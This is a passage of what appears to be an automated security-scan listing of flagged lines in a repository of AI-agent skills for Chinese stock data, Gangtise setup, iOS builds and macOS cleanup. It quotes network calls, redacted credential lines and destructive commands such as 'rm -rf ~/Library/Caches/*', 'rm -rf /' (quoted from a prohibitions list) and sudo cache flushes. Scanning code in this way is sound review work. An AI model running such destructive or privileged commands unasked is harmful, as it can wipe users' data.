  • Network accessline 19
    GET https://hq.sinajs.cn/list=sh600613,sz002219,bj920946
  • Network accessline 20
    Referer: https://finance.sina.com.cn
  • Network accessline 33
    GET https://hq.sinajs.cn/list=sh000933,sz399989,sh000037,sz399394
  • Network accessline 34
    Referer: https://finance.sina.com.cn
  • Network accessline 77
    1. 修本机代理分流规则(SOP 见 CLAUDE.md Shadowrocket 节),或 2. `curl --resolve "push2.eastmoney.com:443:<真实IP>"` 直连真实 IP 抓数据落盘。**真实 IP 会变,先 `dig +short push2.eastmoney.com` 查当前值再用**(2026-08-13 实测:上午 101.226.30.206 可用,当日下午已失效,公开 DNS 返回的新 IP 也可能空响应——先 cur
  • Network accessline 78
    2. `curl --resolve "push2.eastmoney.com:443:<真实IP>"` 直连真实 IP 抓数据落盘。**真实 IP 会变,先 `dig +short push2.eastmoney.com` 查当前值再用**(2026-08-13 实测:上午 101.226.30.206 可用,当日下午已失效,公开 DNS 返回的新 IP 也可能空响应——先 curl 快验再批量抓)

daymade-financial/daymade-sector-research/scripts/ann_query.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 48
    UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" CNINFO_QUERY = "http://www.cninfo.com.cn/new/hisAnnouncement/query"
  • Network accessline 49
    CNINFO_QUERY = "http://www.cninfo.com.cn/new/hisAnnouncement/query"
  • Network accessline 50
    CNINFO_TOPS = "http://www.cninfo.com.cn/new/information/topSearch/query"
  • Network accessline 51
    EM_ANN = "https://np-anotice-stock.eastmoney.com/api/security/ann"
  • Network accessline 56
    for attempt in range(retries):         try:             with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 57
    try:             with urllib.request.urlopen(req, timeout=timeout) as resp:                 return resp.read()
  • Network accessline 58
    with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 66
    def http_post(url, data, headers=None, timeout=20, retries=3):     body = urllib.parse.urlencode(data)     req = urllib.request.Request(url, data=body.encode("utf-8"),
  • Network accessline 67
    body = urllib.parse.urlencode(data)     req = urllib.request.Request(url, data=body.encode("utf-8"),                                  headers=headers or {"User-Agent": UA})
  • Network accessline 68
    req = urllib.request.Request(url, data=body.encode("utf-8"),
  • Network accessline 73
    def http_get(url, headers=None, timeout=20, retries=3):     req = urllib.request.Request(url, headers=headers or {"User-Agent": UA})
  • Network accessline 74
    req = urllib.request.Request(url, headers=headers or {"User-Agent": UA})
  • Network accessline 166
    "title": a.get("announcementTitle", ""),                 "date": d.strftime("%Y-%m-%d"),                 "url": "http://static.cninfo.com.cn/" + (a.get("adjunctUrl") or ""),
  • Network accessline 167
    "date": d.strftime("%Y-%m-%d"),                 "url": "http://static.cninfo.com.cn/" + (a.get("adjunctUrl") or ""),                 "type_name": a.get("announcementTypeName") or "",
  • Network accessline 168
    "url": "http://static.cninfo.com.cn/" + (a.get("adjunctUrl") or ""),
  • Network accessline 186
    url = (EM_ANN + f"?sr=-1&page_size=50&page_index={page}&ann_type=A"                f"&client_source=web&stock_list={code}")         data = json.loads(http_get(url, headers={"User-Agent": UA, "Referer": "https://data.eastmoney.com/"}))
  • Network accessline 187
    f"&client_source=web&stock_list={code}")         data = json.loads(http_get(url, headers={"User-Agent": UA, "Referer": "https://data.eastmoney.com/"}))         lst = (data.get("data") or {}).get("list") or []
  • Network accessline 188
    data = json.loads(http_get(url, headers={"User-Agent": UA, "Referer": "https://data.eastmoney.com/"}))
  • Network accessline 197
    "date": (a.get("notice_date") or "")[:10],                 "url": (a.get("art_code")                         and f"https://data.eastmoney.com/notices/detail/{code}/{a['art_code']}.html"),
  • Network accessline 198
    "url": (a.get("art_code")                         and f"https://data.eastmoney.com/notices/detail/{code}/{a['art_code']}.html"),                 "type_name": type_name,
  • Network accessline 199
    and f"https://data.eastmoney.com/notices/detail/{code}/{a['art_code']}.html"),

daymade-financial/daymade-sector-research/scripts/top_n_pipeline.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 35
    for attempt in range(retries):         try:             req = urllib.request.Request(url, headers=headers or {"User-Agent": UA})
  • Network accessline 36
    try:             req = urllib.request.Request(url, headers=headers or {"User-Agent": UA})             with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 37
    req = urllib.request.Request(url, headers=headers or {"User-Agent": UA})
  • Network accessline 38
    with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 54
    while True:         url = (             "https://push2.eastmoney.com/api/qt/clist/get"
  • Network accessline 55
    url = (             "https://push2.eastmoney.com/api/qt/clist/get"             f"?pn={pn}&pz=100&po=1&np=1&fltt=2&invt=2&fid=f3"
  • Network accessline 56
    "https://push2.eastmoney.com/api/qt/clist/get"
  • Network accessline 60
    data = json.loads(http_get(url, headers={             "User-Agent": UA,             "Referer": "https://quote.eastmoney.com/",
  • Network accessline 61
    "User-Agent": UA,             "Referer": "https://quote.eastmoney.com/",         }))
  • Network accessline 62
    "Referer": "https://quote.eastmoney.com/",
  • Network accessline 119
    for i in range(0, len(codes), batch):         chunk = codes[i:i + batch]         url = "https://hq.sinajs.cn/list=" + ",".join(sina_symbol(c) for c in chunk)
  • Network accessline 120
    chunk = codes[i:i + batch]         url = "https://hq.sinajs.cn/list=" + ",".join(sina_symbol(c) for c in chunk)         raw = http_get(url, headers={
  • Network accessline 121
    url = "https://hq.sinajs.cn/list=" + ",".join(sina_symbol(c) for c in chunk)
  • Network accessline 122
    raw = http_get(url, headers={             "User-Agent": UA,             "Referer": "https://finance.sina.com.cn",
  • Network accessline 123
    "User-Agent": UA,             "Referer": "https://finance.sina.com.cn",         })
  • Network accessline 124
    "Referer": "https://finance.sina.com.cn",
  • Network accessline 165
    w = csv.writer(fh)         w.writerow(["code", "name", "source", "fetched_at"])         src = f"http://push2.eastmoney.com/api/qt/clist/get?fs=b:{args.board}&fields=f12,f14"
  • Network accessline 166
    w.writerow(["code", "name", "source", "fetched_at"])         src = f"http://push2.eastmoney.com/api/qt/clist/get?fs=b:{args.board}&fields=f12,f14"         for code, name in cons:
  • Network accessline 167
    src = f"http://push2.eastmoney.com/api/qt/clist/get?fs=b:{args.board}&fields=f12,f14"

daymade-financial/devils-advocate/references/linqalpha_reference_implementation.md

  • Network accessline 3
    本 skill 复刻并扩展的对象。以下内容全部来自公开一手信源,逐字引用处保留英文原文。 核心信源:AWS Machine Learning Blog 官方客座文章(LinqAlpha 员工撰写,2026-02-11): <https://aws.amazon.com/blogs/machine-learning/how-linqalpha-assesses-investment-theses-using-devils-advocate-on-amazon-bedrock/>
  • Network accessline 5
    <https://aws.amazon.com/blogs/machine-learning/how-linqalpha-assesses-investment-theses-using-devils-advocate-on-amazon-bedrock/>

daymade-financial/financial-data-collector/scripts/collect_data.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-financial/financial-data-collector/scripts/validate_data.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-financial/gangtise-copilot/SKILL.md

  • Network accessline 21
    git clone --depth 1 https://github.com/daymade/claude-code-skills.git /tmp/gangtise-repo
  • Network accessline 21
    git clone --depth 1 https://github.com/daymade/claude-code-skills.git /tmp/gangtise-repo
  • Network accessline 28
    import urllib.request, json, base64, os def fetch_github_file(repo_path, local_path):     url = f"https://api.github.com/repos/daymade/claude-code-skills/contents/{repo_path}"
  • Network accessline 28
    import urllib.request, json, base64, os def fetch_github_file(repo_path, local_path):     url = f"https://api.github.com/repos/daymade/claude-code-skills/contents/{repo_path}"
  • Network accessline 29
    def fetch_github_file(repo_path, local_path):     url = f"https://api.github.com/repos/daymade/claude-code-skills/contents/{repo_path}"     req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
  • Network accessline 29
    def fetch_github_file(repo_path, local_path):     url = f"https://api.github.com/repos/daymade/claude-code-skills/contents/{repo_path}"     req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
  • Network accessline 30
    url = f"https://api.github.com/repos/daymade/claude-code-skills/contents/{repo_path}"     req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})     d = json.loads(urllib.request.urlopen(req, timeout=20).read())
  • Network accessline 30
    url = f"https://api.github.com/repos/daymade/claude-code-skills/contents/{repo_path}"     req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})     d = json.loads(urllib.request.urlopen(req, timeout=20).read())
  • Network accessline 31
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
  • Network accessline 31
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
  • Network accessline 32
    d = json.loads(urllib.request.urlopen(req, timeout=20).read())
  • Network accessline 32
    d = json.loads(urllib.request.urlopen(req, timeout=20).read())
  • Possible obfuscationline 33
    content = base64.b64decode(d["content"]).decode("utf-8")
  • Possible obfuscationline 33
    content = base64.b64decode(d["content"]).decode("utf-8")
  • Network accessline 183
    https://gts-download.obs.myhuaweicloud.com/skills/
  • Network accessline 183
    https://gts-download.obs.myhuaweicloud.com/skills/
  • Network accessline 255
    1. Prompt for accessKey and secretAccessKey (or read from the `GANGTISE_ACCESS_KEY` / `GANGTISE_SECRET_KEY` environment variables if set). 2. Write to `~/.config/gangtise/authorization.json` with mode 600. 3. Perform a **live authentication
  • Network accessline 255
    1. Prompt for accessKey and secretAccessKey (or read from the `GANGTISE_ACCESS_KEY` / `GANGTISE_SECRET_KEY` environment variables if set). 2. Write to `~/.config/gangtise/authorization.json` with mode 600. 3. Perform a **live authentication
  • Network accessline 256
    2. Write to `~/.config/gangtise/authorization.json` with mode 600. 3. Perform a **live authentication call** to `https://open.gangtise.com/application/auth/oauth/open/loginV2` to verify the credentials actually work. 4. Write `~/.GTS_AUTHOR
  • Network accessline 256
    2. Write to `~/.config/gangtise/authorization.json` with mode 600. 3. Perform a **live authentication call** to `https://open.gangtise.com/application/auth/oauth/open/loginV2` to verify the credentials actually work. 4. Write `~/.GTS_AUTHOR
  • Network accessline 257
    3. Perform a **live authentication call** to `https://open.gangtise.com/application/auth/oauth/open/loginV2` to verify the credentials actually work.
  • Network accessline 257
    3. Perform a **live authentication call** to `https://open.gangtise.com/application/auth/oauth/open/loginV2` to verify the credentials actually work.

daymade-financial/gangtise-copilot/references/best_practices.md

  • Network accessline 87
    1. Try to HEAD the new standalone ZIP: `curl -I https://gts-download.obs.myhuaweicloud.com/skills/gangtise-<new-name>.zip`

daymade-financial/gangtise-copilot/references/credentials_setup.md

  • Network accessline 18
    The skill calls `https://open.gangtise.com/application/auth/oauth/open/loginV2` with this payload, gets back a Bearer token, and uses that token for subsequent API calls. A live response observed on 2026-09-08 included `expiresIn: 10800`; t
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 95
    https://open.gangtise.com/application/auth/oauth/open/loginV2

daymade-financial/gangtise-copilot/references/installation_flow.md

  • Network accessline 22
    3. **Detect target agents** — walks `$HOME/.claude`, `$HOME/.openclaw`, `$HOME/.agents` and builds an ordered target list. Honors `--target` and `--no-openclaw` overrides. 4. **Compute required bundle set** — only downloads the bundles that
  • Network accessline 23
    4. **Compute required bundle set** — only downloads the bundles that contain at least one skill in the requested list. For example, `--preset minimal` only downloads `gangtise-skills.zip` and skips the other 3 archives entirely. 5. **Downlo
  • Network accessline 24
    5. **Download** each required bundle from `https://gts-download.obs.myhuaweicloud.com/skills/<bundle>.zip` into a timestamped staging directory under `/tmp/gangtise-copilot-staging/`. Uses `curl --fail` to surface HTTP errors and a `wc -c` 
  • Dangerous shell operationline 133
    rm -rf ~/.local/share/gangtise-copilot/skills
  • Network accessline 152
    The installer rejects downloads under 1000 bytes pre-extraction to fail fast here, so you'll see a clear error instead of a confusing `unzip` failure downstream. Retry, and if it persists, check https://status.huaweicloud.com.

daymade-financial/gangtise-copilot/references/known_issues.md

  • Network accessline 198
    > `gangtise-copilot` has a hard-coded list of 19 Gangtise skills that were known to exist as of the wrapper's last release. If Gangtise publishes new skills after that, you won't get them automatically. When you hear about a new Gangtise sk
  • Network accessline 206
    cd /tmp curl -O https://gts-download.obs.myhuaweicloud.com/skills/gangtise-<new-skill>.zip
  • Network accessline 207
    curl -O https://gts-download.obs.myhuaweicloud.com/skills/gangtise-<new-skill>.zip
  • Network accessline 265
    **Root cause**: `gangtise-data-client`, `gangtise-file-client`, `gangtise-kb-client`, `gangtise-file-client-no-download`, `gangtise-stockpool-client`, and `gangtise-web-client` all default `GANGTISE_DOMAIN` to `https://open.gangtise.com/app
  • Network accessline 286
    # 1. Get a fresh OAuth token directly FRESH=$(curl -sS -X POST "https://open.gangtise.com/application/auth/oauth/open/loginV2" \
  • Dangerous shell operationline 287
    FRESH=$(curl -sS -X POST "https://open.gangtise.com/application/auth/oauth/open/loginV2"    -H "Content-Type: application/json"    -d "{\"accessKey\":\"$AK\",\"secretAccessKey\":\"$SK\"}"    | python3 -c "import json,sys;print(json.load(sys
  • Network accessline 287
    FRESH=$(curl -sS -X POST "https://open.gangtise.com/application/auth/oauth/open/loginV2" \
  • Network accessline 292
    # 2. Hit a skills-backend endpoint with the fresh token curl -sS -X POST "https://open.gangtise.com/application/skills-backend/search/quote" \
  • Network accessline 293
    curl -sS -X POST "https://open.gangtise.com/application/skills-backend/search/quote" \
  • Network accessline 297
    # 3. Hit a public endpoint with the SAME fresh token curl -sS -X POST "https://open.gangtise.com/application/open-quote/kline/daily" \
  • Network accessline 298
    curl -sS -X POST "https://open.gangtise.com/application/open-quote/kline/daily" \

daymade-financial/gangtise-copilot/scripts/classify_response.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-financial/gangtise-copilot/scripts/configure_auth.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 28
    AUTH_ENDPOINT="https://open.gangtise.com/application/auth/oauth/open/loginV2"
  • Network accessline 91
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 92
    echo "✗ Required tool not found: curl" >&2
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Network accessline 186
    echo "▶ Verifying credentials against $AUTH_ENDPOINT"
  • Access to secretsline 188
    [Credential-related source omitted]
  • Network accessline 190
    response=$(curl -sS -X POST "$AUTH_ENDPOINT" \
  • Network accessline 192
    --data "$payload" \   --max-time 20 2>&1) || {   echo "✗ Network error calling $AUTH_ENDPOINT" >&2
  • Network accessline 193
    --max-time 20 2>&1) || {   echo "✗ Network error calling $AUTH_ENDPOINT" >&2   echo "  Response: $response" >&2
  • Network accessline 194
    echo "✗ Network error calling $AUTH_ENDPOINT" >&2
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 227
    [Credential-related source omitted]
  • Access to secretsline 261
    [Credential-related source omitted]
  • Access to secretsline 263
    [Credential-related source omitted]
  • Access to secretsline 284
    [Credential-related source omitted]
  • Access to secretsline 285
    [Credential-related source omitted]
  • Dangerous shell operationline 327
    command rm -f "$auth_link"

daymade-financial/gangtise-copilot/scripts/diagnose.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 25
    AUTH_ENDPOINT="https://open.gangtise.com/application/auth/oauth/open/loginV2"
  • Network accessline 26
    RAG_ENDPOINT="https://open.gangtise.com/application/open-data/ai/search/knowledge_base"
  • Access to secretsline 286
    [Credential-related source omitted]
  • Network accessline 288
    else     payload=$(printf '{"accessKey":"%s","secretAccessKey":"%s"}' "$ACCESS_KEY" "$SECRET_KEY")     response=$(curl -sS -X POST "$AUTH_ENDPOINT" \
  • Network accessline 289
    [Credential-related source omitted]
  • Access to secretsline 289
    [Credential-related source omitted]
  • Network accessline 290
    response=$(curl -sS -X POST "$AUTH_ENDPOINT" \
  • Network accessline 326
    [ -z "$TENANT_HEADER" ] || rag_args+=(-H "tenantid: $TENANT_HEADER")         [ -z "$PRODUCT_HEADER" ] || rag_args+=(-H "productcode: $PRODUCT_HEADER")         rag_response=$(curl -sS -X POST "$RAG_ENDPOINT" \
  • Network accessline 327
    [ -z "$PRODUCT_HEADER" ] || rag_args+=(-H "productcode: $PRODUCT_HEADER")         rag_response=$(curl -sS -X POST "$RAG_ENDPOINT" \           "${rag_args[@]}" \
  • Network accessline 328
    rag_response=$(curl -sS -X POST "$RAG_ENDPOINT" \

daymade-financial/gangtise-copilot/scripts/install_gangtise.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 35
    BASE_URL="https://gts-download.obs.myhuaweicloud.com/skills"
  • Dangerous shell operationline 70
    rm -rf "$STAGING_DIR"
  • Network accessline 191
    for tool in curl unzip; do
  • Network accessline 266
    download_bundle() {   local bundle_name="$1"   local zip_url="${BASE_URL}/${bundle_name}.zip"
  • Network accessline 267
    local bundle_name="$1"   local zip_url="${BASE_URL}/${bundle_name}.zip"   local zip_path="${STAGING_DIR}/${bundle_name}.zip"
  • Network accessline 268
    local zip_url="${BASE_URL}/${bundle_name}.zip"
  • Network accessline 271
    echo "  ↓ ${bundle_name}.zip"   local http_code   http_code=$(curl -sS -L --fail -o "$zip_path" -w "%{http_code}" "$zip_url" 2>/dev/null || echo "000")
  • Network accessline 272
    local http_code   http_code=$(curl -sS -L --fail -o "$zip_path" -w "%{http_code}" "$zip_url" 2>/dev/null || echo "000")   if [ "$http_code" != "200" ]; then
  • Network accessline 273
    http_code=$(curl -sS -L --fail -o "$zip_path" -w "%{http_code}" "$zip_url" 2>/dev/null || echo "000")
  • Dangerous shell operationline 364
    command rm -rf "$canonical_dest"

daymade-financial/gangtise-copilot/tests/test_classify_response.py

  • Executable scriptline 1
    Executable file

daymade-financial/pharma-daily-report/SKILL.md

  • Network accessline 87
    http://hq.sinajs.cn/list=sh600276,sz300122,...

daymade-financial/pharma-daily-report/references/sina_api.md

  • Network accessline 6
    http://hq.sinajs.cn/list=<codes>
  • Network accessline 10
    - **编码**:GBK - **认证**:无 - **Referer**:需要 `https://finance.sina.com.cn`(反爬基础检查)
  • Network accessline 12
    - **Referer**:需要 `https://finance.sina.com.cn`(反爬基础检查)
  • Network accessline 71
    http://hq.sinajs.cn/list=sh600276,sz300122,sh600436

daymade-financial/pharma-daily-report/scripts/daily_pipeline.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 40
    HEADERS = {     "Referer": "https://finance.sina.com.cn",
  • Network accessline 41
    "Referer": "https://finance.sina.com.cn",
  • Network accessline 51
    def fetch_url(url, encoding=None):     req = urllib.request.Request(url, headers=HEADERS)
  • Network accessline 52
    req = urllib.request.Request(url, headers=HEADERS)
  • Network accessline 53
    try:         with urllib.request.urlopen(req, timeout=15) as resp:             raw = resp.read()
  • Network accessline 54
    with urllib.request.urlopen(req, timeout=15) as resp:
  • Network accessline 68
    for i in range(0, len(codes), 10):         batch = codes[i:i + 10]         url = f"http://hq.sinajs.cn/list={','.join(batch)}"
  • Network accessline 69
    batch = codes[i:i + 10]         url = f"http://hq.sinajs.cn/list={','.join(batch)}"         raw = fetch_url(url, encoding="gbk")
  • Network accessline 70
    url = f"http://hq.sinajs.cn/list={','.join(batch)}"
  • Access to secretsline 219
    [Credential-related source omitted]

daymade-macos/capture-screen/scripts/get_window_id.swift

  • Executable scriptline 1
    #!/usr/bin/env swift

daymade-macos/developing-ios-apps/SKILL.md

  • Dangerous shell operationline 34
    | Clean DerivedData | `rm -rf ~/Library/Developer/Xcode/DerivedData/PROJECT-*` |
  • Network accessline 52
    packages:   SomePackage:     url: https://github.com/org/repo
  • Network accessline 53
    SomePackage:     url: https://github.com/org/repo     from: "1.0.0"
  • Network accessline 54
    url: https://github.com/org/repo
  • Dangerous shell operationline 163
    | DerivedData won't delete | Close Xcode first: `pkill -9 Xcode && rm -rf ~/Library/Developer/Xcode/DerivedData/PROJECT-*` |
  • Network accessline 213
    packages:   AudioKit:     url: https://github.com/AudioKit/AudioKit
  • Network accessline 214
    AudioKit:     url: https://github.com/AudioKit/AudioKit     from: "5.6.5"
  • Network accessline 215
    url: https://github.com/AudioKit/AudioKit
  • Network accessline 216
    from: "5.6.5"   RealmSwift:     url: https://github.com/realm/realm-swift
  • Network accessline 217
    RealmSwift:     url: https://github.com/realm/realm-swift     from: "10.54.6"
  • Network accessline 218
    url: https://github.com/realm/realm-swift
  • Network accessline 232
    git config --global http.proxy http://127.0.0.1:1082
  • Network accessline 233
    git config --global https.proxy http://127.0.0.1:1082
  • Access to secretsline 316
    [Credential-related source omitted]
  • Access to secretsline 318
    [Credential-related source omitted]
  • Access to secretsline 319
    [Credential-related source omitted]
  • Access to secretsline 328
    [Credential-related source omitted]
  • Access to secretsline 349
    [Credential-related source omitted]
  • Access to secretsline 351
    [Credential-related source omitted]

daymade-macos/developing-ios-apps/references/apple-codesign-notarize.md

  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 32
    1. Go to [developer.apple.com/account/resources/certificates/add](https://developer.apple.com/account/resources/certificates/add)
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Network accessline 65
    1. Go to [appstoreconnect.apple.com/access/integrations/api](https://appstoreconnect.apple.com/access/integrations/api) 2. Generate API Key (Access: **Developer**) 3. Download `.p8` (one-time only)
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Dangerous shell operationline 100
    gh secret set MACOS_CERT_P12 < /tmp/p12.txt --repo owner/repo && rm /tmp/p12.txt
  • Dangerous shell operationline 103
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Network accessline 201
    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  • Network accessline 202
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  • Access to secretsline 260
    [Credential-related source omitted]
  • Access to secretsline 263
    [Credential-related source omitted]
  • Access to secretsline 264
    [Credential-related source omitted]
  • Access to secretsline 266
    [Credential-related source omitted]
  • Access to secretsline 269
    [Credential-related source omitted]
  • Access to secretsline 270
    [Credential-related source omitted]
  • Access to secretsline 275
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]
  • Access to secretsline 328
    [Credential-related source omitted]
  • Access to secretsline 329
    [Credential-related source omitted]
  • Access to secretsline 330
    [Credential-related source omitted]
  • Access to secretsline 335
    [Credential-related source omitted]

daymade-macos/developing-ios-apps/references/xcodegen-full.md

  • Network accessline 24
    # Basic package   PackageName:     url: https://github.com/org/repo
  • Network accessline 25
    PackageName:     url: https://github.com/org/repo     from: "1.0.0"
  • Network accessline 26
    url: https://github.com/org/repo
  • Network accessline 29
    # Exact version   ExactPackage:     url: https://github.com/org/repo
  • Network accessline 30
    ExactPackage:     url: https://github.com/org/repo     exactVersion: "2.0.0"
  • Network accessline 31
    url: https://github.com/org/repo
  • Network accessline 34
    # Branch   BranchPackage:     url: https://github.com/org/repo
  • Network accessline 35
    BranchPackage:     url: https://github.com/org/repo     branch: main
  • Network accessline 36
    url: https://github.com/org/repo

daymade-macos/macos-cleaner/SKILL.md

  • Dangerous shell operationline 40
    7. **Avoid broad destructive shell forms.** Do not recommend or execute broad `rm -rf` or glob deletion. For exact approved ordinary files, prefer Finder Trash. The bundled legacy helper permanently deletes and has only the limited guards d
  • Dangerous shell operationline 253
    The same-volume fallback is a quarantine move, not Trash: `mv` each exact approved target to a directory on the same volume (`<approved-dir>/_quarantine-<date>/`), writing a MANIFEST (original path, size, timestamp) beside it — the original

daymade-macos/macos-cleaner/references/apple_content_caching.md

  • Dangerous shell operationline 61
    If access is denied and non-interactive sudo is already authorized, retry the same read-only command with `sudo -n`. Do not broaden it to `/Library/Application Support`, the data volume root, or the user's home directory.
  • Dangerous shell operationline 158
    /usr/bin/sudo -u _assetcache /usr/bin/defaults write /Library/Preferences/com.apple.AssetCache.plist CacheLimit -int <approved-bytes>
  • Dangerous shell operationline 159
    /usr/bin/sudo /usr/bin/AssetCacheManagerUtil reloadSettings
  • Dangerous shell operationline 170
    /usr/bin/sudo /usr/bin/AssetCacheManagerUtil deactivate
  • Dangerous shell operationline 176
    Reactivation is possible with `sudo AssetCacheManagerUtil activate`, but that is a separate future change and requires current authorization.
  • Dangerous shell operationline 183
    /usr/bin/sudo /usr/bin/AssetCacheManagerUtil flushCache
  • Network accessline 232
    - Apple Platform Deployment: [Content caching from the command line on Mac](https://support.apple.com/guide/deployment/content-caching-from-the-command-line-depfaba5bc52/web)
  • Network accessline 233
    - Apple Platform Deployment: [Advanced content caching settings on Mac](https://support.apple.com/guide/deployment/advanced-content-caching-settings-depc8f669b20/web)
  • Network accessline 234
    - Apple macOS User Guide: [Set up content caching on Mac](https://support.apple.com/guide/mac-help/set-up-content-caching-on-mac-mchl3b6c3720/mac)

daymade-macos/macos-cleaner/references/chromium_code_sign_clones.md

  • Dangerous shell operationline 211
    manifest with the clone root, a wildcard, `find -delete`, or a recursive shell
  • Network accessline 275
    - Apple, [About Apple File System](https://developer.apple.com/documentation/foundation/about-apple-file-system): clones share unchanged blocks; APFS volumes share container free space.
  • Network accessline 276
    - Chromium, [`code_sign_clone_manager.h`](https://chromium.googlesource.com/chromium/src/+/main/chrome/browser/mac/code_sign_clone_manager.h): lifecycle, per-instance clone purpose, expected cleanup, and copy-on-write behavior.
  • Network accessline 277
    - Chromium, [`code_sign_clone_manager.mm`](https://chromium.googlesource.com/chromium/src/+/main/chrome/browser/mac/code_sign_clone_manager.mm): current implementation, clone-count telemetry, and Chrome for Testing exclusion.
  • Network accessline 278
    - Chromium issue [379125944](https://issues.chromium.org/issues/379125944): ChromeDriver cleanup defect tracked by the implementation.

daymade-macos/macos-cleaner/references/cleanup_targets.md

  • Network accessline 233
    Use the current [uv cache documentation](https://docs.astral.sh/uv/concepts/cache/)
  • Network accessline 276
    - uv cache resolution and supported `uv cache dir` / `uv cache clean [package]`: <https://docs.astral.sh/uv/concepts/cache/> and <https://docs.astral.sh/uv/reference/storage/>
  • Network accessline 277
    - Playwright browser binaries, macOS cache default, and `PLAYWRIGHT_BROWSERS_PATH`: <https://playwright.dev/docs/browsers#managing-browser-binaries>
  • Network accessline 278
    - Hugging Face cache environment variables: <https://huggingface.co/docs/huggingface_hub/en/package_reference/environment_variables>
  • Network accessline 279
    - JetBrains live-path authority, `idea.system.path`, and macOS cache layout: <https://www.jetbrains.com/help/idea/directories-used-by-the-ide-to-store-settings-caches-plugins-and-logs.html>
  • Dangerous shell operationline 335
    docker rm container-name-1 container-name-2
  • Dangerous shell operationline 360
    docker volume rm project-mysql-data project-redis-data
  • Access to secretsline 599
    [Credential-related source omitted]
  • Access to secretsline 600
    [Credential-related source omitted]

daymade-macos/macos-cleaner/references/docker_analysis.md

  • Dangerous shell operationline 174
    # If not database → still inspect ownership/value, then ask about: docker volume rm <VOLUME_NAME>

daymade-macos/macos-cleaner/references/mole_integration.md

  • Network accessline 3
    How to integrate [Mole](https://github.com/tw93/Mole) with the macOS Cleaner skill.
  • Network accessline 16
    **Repository**: https://github.com/tw93/Mole
  • Dangerous shell operationline 256
    rm -rf ~/Library/Caches/*

daymade-macos/macos-cleaner/references/proving-redundancy-before-deletion.md

  • Dangerous shell operationline 86
    rm -rf "<candidate>" && mkdir "<candidate>" && SRC="<canonical>" && for d in ...; do cp ...

daymade-macos/macos-cleaner/references/report_templates.md

  • Dangerous shell operationline 98
    | 2 | `sudo AssetCacheManagerUtil deactivate` | Stop target cache node | Separately authorized `activate` | `isActivated` says deactivated |
  • Dangerous shell operationline 99
    | 3 | `sudo AssetCacheManagerUtil flushCache` | Remove local Apple/iCloud cache copies | Redownload/peer transfer only | `ActualCacheUsed` reaches approved residual |

daymade-macos/macos-cleaner/references/safety_rules.md

  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Dangerous shell operationline 69
    docker rm container-name-1 container-name-2
  • Dangerous shell operationline 72
    docker volume rm project-mysql-data project-redis-data
  • Access to secretsline 130
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]
  • Dangerous shell operationline 216
    docker volume rm postgres_data redis_data
  • Access to secretsline 259
    [Credential-related source omitted]
  • Dangerous shell operationline 398
    print("   Try running with sudo (use caution!)")
  • Dangerous shell operationline 490
    - Run `rm -rf /` or similar dangerous commands

daymade-macos/macos-cleaner/scripts/_apfs_core.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/scripts/_apfs_native.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/scripts/analyze_caches.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 230
    [Credential-related source omitted]

daymade-macos/macos-cleaner/scripts/analyze_code_sign_clones.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/scripts/analyze_dev_env.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/scripts/analyze_large_files.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/scripts/apfs_cow.py

  • Executable scriptline 1
